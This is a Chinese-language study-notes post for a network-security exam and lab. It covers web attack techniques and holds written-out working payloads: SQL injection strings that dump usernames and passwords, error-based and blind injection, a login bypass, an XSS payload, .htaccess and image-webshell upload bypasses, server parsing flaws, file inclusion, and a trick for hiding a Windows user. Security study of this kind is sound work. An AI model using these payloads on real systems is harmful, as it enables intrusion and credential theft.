客观题
网络安全概述
怪不得17年开始全国成立那么多网络空间安全学院
“网络运营者为用户办理网络接入、域名注册服务,办理固定电话、移动电话等入网手续,或者为用户提供信息发布、即时通讯等服务,应当要求用户提供真实身份信息。”
原来实名制是这个意思
渗透测试基础
根域名服务器不提供具体的域名解析服务
AAAA 是将域名解析到IPv6
HTTP
URL 一定是 URI;URN + URL 就是 URI
URL是URI的一种实现形式
进行一次握手就一直请求-响应,后来效率还是不够高,发明了管道技术
SQL注入
注意
substr
和left
函数的区别
XSS
浏览器天然不支持Cookie字段跨域,但token单独是一个首部字段,可以跨域
session固定是客户端做的,session start是服务器分配session的操作
DOM 将文档表示为节点和对象;将一个无序的文档以面向对象的思想交给js处理
<
是特殊字符,<
是特殊编码
命令执行漏洞
第一个命令正确时只执行第二个,否则都不会执行
基线配置
账号自动锁定属于授权管理,增加口令复杂度是对访问进行严格的限制
requestreadtimeout用于防止HTTP的慢速请求攻击
http慢速攻击是利用http合法机制,在建立连接后,尽量长时间保持连接,不释放,达到对HTTP服务攻击,攻击者发送POST请求,自行构造报文向服务器提交数据,将报文长度设置一个很大的值,且在随后每次发送中,每次只发送一个很小的报文,这样导致服务器一直等待数据,连接始终一直被占用。
在Linux系统中,文件和目录的权限由一个三位数的数字表示。每个数字对应于文件或目录的不同权限类别。以下是这三个数字的含义:
- 第一个数字表示所有者(Owner)的权限。
- 第二个数字表示所属组(Group)的权限。
- 第三个数字表示其他人(Others)的权限。
每个数字可以是 0 到 7 之间的一个值,对应于不同的权限组合。以下是每个数字及其对应的权限含义:
- 0:没有权限(—)
- 1:执行权限(–x)
- 2:写权限(-w-)
- 3:写和执行权限(-wx)
- 4:读权限(r–)
- 5:读和执行权限(r-x)
- 6:读和写权限(rw-)
- 7:读、写和执行权限(rwx)
日志文件属于很重要的秘密文件,
/etc/passwd
也仅仅是644
安全事件处置
必须参照相关管理文件,有理有据,不能参照普通员工建议。
Windows可以创建隐藏用户:创建用户——>导出注册表——>删除用户——>导入注册表
实验
SQL注入
确认注入点:
1 | 数字型 |
1 | id=1' order by 1--+ |
1 | id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' |
1 | id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 1,1 |
前者是一个字段的多行记录,用group_concat
,后者是一条记录的多个字段,用concat
或者concat_ws
注释用--
时要加空格,有时用+
填充,POST注入时用#
注入
1 | uname=admin'#&passwd=123&submit=Submit |
这样是以admin
用户身份登录的
1 | uname=admin' or 1=1-- &passwd=123&submit=Submit |
这样是绕过查询校验,获得的是第一条记录,不一定是以管理员身份登录的
-
extractvalue
函数一共两个参数,第二个参数注入 -
updatexml
函数一共三个参数,第二个参数注入 -
floor
、rand
、count
、group by
联用 -
注意这些只是函数不是语句,不能单独使用,只能用
AND
去依附某些数据项而使用id=1','','') and extractvalue(1, concat('~',database()))#
(×)id=1' AND extractvalue(1, concat('~',database())),'')#
(√)AND
在这里用于形成布尔表达式
extractvalue
报错注入时,返回最大字符长度为32,常使用limit
函数限制逐条读取,记得不加group_concat
函数
floor
函数报错注入参考链接:Floor报错原理分析 - ka1n4t - 博客园 (cnblogs.com)、Mysql报错注入原理分析(count()、rand()、group by) (qq.com)
floor(rand(0)*2)
提供报错因子,group by
和count
提供报错环境
payload:id=1' and (select 1 from (select count(*),concat(database(),'===',floor(rand(0)*2)) as x from information_schema.tables group by x)y)--+
id=1' and (select 1 from(select count(*),concat(database(),'=',floor(rand(0)*2))x from xxx gruop by x)y)--+
Mysql规定用户新提取出的临时表必须有别名,所以要加一个y
;报错select
语句的表可以是任意数据库中存在的表;最后套上一个select 1 from
后加上括号就可以了
1 | id=1' and length(database())=7--+ |
手工进行布尔盲注时,应该使用limit
函数一项一项地爆破,比如一下子返回了好几个表名,但是没有使用concat
函数族拼接在一起,直接进行字符串的substr
操作就会发生语法错误
XSS
几种payload变形
1 | <a href="javascript:alert("xss");"> this is a xss </a> |
文件上传
::$DATA
.htaccess
的三种写法
-
将内容符合php语法规则的文件当作php文件解析
1
SetHandler Application/x-httpd-php
-
匹配文件名中的关键字,如:当文件名[info.php.png] 中包含关键字[.php],会被当作php执行
1
AddHandler php5-script .php
-
匹配文件名,当.htaccess文件内容如下,可以将匹配到的文件名的文件中的代码执行
1
2
3<FilesMatch "sxf">
SetHandler Application/x-httpd-php
</FilesMatch>
GIF
的文件头是GIF89a
,可以直接在php文件的最上面添加
1 | GIF89a |
其他的文件头绕过的图片马制作命令是
1 | copy 1.jpg/b+1.php/a 2.jpg |
这里是服务器对客户发来的请求路径的解析漏洞,和前面的文件上传漏洞不同,前面是直接上传一个木马,可以让服务器正常解析,而这里针对的是图片马,文件包含是一种让服务器解析执行图片马的方式,这里是服务器对客户请求路径解析不当,因为服务器解析依据的也是路径中的文件后缀名,最终错误将图片马(jpg)按照php去执行了
-
IIS文件解析漏洞
IIS服务器除了可以执行
.asp
文件,还可以执行.cer
和.asa
文件-
IIS 6.0
两种漏洞利用方式:
- 如果存在名为
xxx.asp
的目录,该目录中的文件都会被当成asp程序执行; - 上传名为
xxx.asp;.jpg
的文件,由于含有特殊符号;
,会被当成asp程序执行
- 如果存在名为
-
IIS 7.5
和Nginx文件解析漏洞一样
-
-
Apache文件解析漏洞:
Apache本身没有解析漏洞,虽然可以把多个后缀不断从右向左识别(类似Nginx的路径修复),但将文件交给php_module解析时由于不认识第一个后缀,不会执行,但开发人员为了方便,将配置文件改成只要识别到php就执行,并且没有按照正则只匹配最后一个后缀,这才出现了漏洞,只要上传并访问
shell.php.jpg
即可 -
Nginx文件解析漏洞:
漏洞触发条件是在访问已经上传的
shell.jpg
时在后面再加上shell.php
,即shell.jpg/shell.php
,正常情况下服务器看到最后的后缀是php
,会交给php去执行,但php发现这个路径不存在php文件,删掉右边路径,得到shell.jpg
,存在文件,又因为php不能执行jpg文件,发生报错,但将配置文件改成允许解析其他格式文件为php就会触发漏洞 -
Tomcat任意文件上传漏洞(不属于解析漏洞)
Tomcat默认配置
readyonly=true
,不允许DELETE
和PUT
请求头,但如果改成false,可以通过PUT
方法上传JSP
文件,执行任意代码,注意在请求报文修改请求头为PUT
,路径文件名后面加空格(%20
)绕过后缀名过滤
文件包含
通过参数传递文件地址
1 | 本地:a=…/01/1.jpg |
PHP伪协议
1 | page=php://input 参数通过POST传递 |
本着互联网开源的性质,欢迎分享这篇文章,以帮助到更多的人,谢谢!